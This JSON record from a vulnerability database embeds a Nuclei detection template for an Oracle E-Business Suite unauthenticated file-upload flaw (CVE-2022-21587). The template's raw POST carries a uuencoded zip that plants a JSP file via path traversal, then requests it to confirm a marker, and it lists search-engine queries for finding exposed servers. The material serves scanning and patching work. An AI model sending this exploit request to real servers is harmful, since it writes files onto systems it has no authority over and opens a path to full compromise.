{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-21587/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-21587/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-21587/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-21587/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-21587/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-21587"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-21587"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-21587.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-21587\n\ninfo:\n  name: Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution\n  author: rootxharsh,iamnoooob,pdresearch,dogasantos,s4e-io\n  severity: critical\n  description: |\n    Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files including malicious scripts via the BneViewerXMLService endpoint, achieving remote code execution and complete server compromise.\n  remediation: |\n    Apply the necessary security patches provided by Oracle to mitigate this vulnerability.\n  reference:\n    - https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/\n    - https://www.oracle.com/security-alerts/cpuoct2022.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-21587\n    - http://packetstormsecurity.com/files/171208/Oracle-E-Business-Suite-EBS-Unauthenticated-Arbitrary-File-Upload.html\n    - https://github.com/manas3c/CVE-POC\n    - https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis?utm_source=rapid7site&utm_medium=referral&utm_campaign=etr_cve-2022-21587\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-21587\n    cwe-id: CWE-306\n    epss-score: 0.98342\n    epss-percentile: 0.99916\n    cpe: cpe:2.3:a:oracle:e-business_suite:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 3\n    vendor: oracle\n    product: e-business_suite\n    shodan-query: http.title:\"login\" \"x-oracle-dms-ecid\" 200\n    fofa-query: title=\"login\" && header=\"x-oracle-dms-ecid\"\n    google-query: intitle:\"login\" \"x-oracle-dms-ecid\"\n  tags: cve,cve2022,intrusive,ebs,unauth,kev,rce,oast,oracle,packetstorm,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /OA_HTML/BneOfflineLOVService?bne:uueupload=true HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv\n\n        ------WebKitFormBoundaryZsMro0UsAQYLDZGv\n        Content-Disposition: form-data; name=\"bne:uueupload\"\n\n        TRUE\n        ------WebKitFormBoundaryZsMro0UsAQYLDZGv\n        Content-Disposition: form-data; name=\"uploadfilename\";filename=\"taintedlove.zip\"\n\n        begin 644 taintedlove.zip\n        M4$L#!!0``````$1QRUK1ELZ-30```$T```!*````+BXO+BXO+BXO+BXO+BXO\n        M1DU77TAO;64O3W)A8VQE7T5\"4RUA<'`Q+V%P<&QI8V%T:6]N<R]F;W)M<R]F\n        M;W)M<R]T86EN=\"YJ<W!C870@/B!T86EN=\"YJ<W`*/\"4*(\"`@(&]U=\"YP<FEN\n        M=\"@B,#8Q96$S,#8M-#9E9BTQ,68P+6%D.30M9C-D,3@S8C`V.#EA(BD[\"B4^\n        M\"E!+`0(4`Q0``````$1QRUK1ELZ-30```$T```!*``````````````\"D@0``\n        M```N+B\\N+B\\N+B\\N+B\\N+B]&35=?2&]M92]/<F%C;&5?14)3+6%P<#$O87!P\n        M;&EC871I;VYS+V9O<FUS+V9O<FUS+W1A:6YT+FIS<%!+!08``````0`!`'@`\n        (``\"U````````\n        `\n        end\n        ------WebKitFormBoundaryZsMro0UsAQYLDZGv--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"text/xml\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /forms/taint.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '061ea306-46ef-11f0-ad94-f3d183b0689a'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502204034dc8a4cbccbdc58c61c0c252364c930792d125d5ab5393826f43585739eb3022100e4f2af1a0578b424051947312cb576a4bc2808c57a9ebc6c0c5a75bfa9361191:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-21587"
}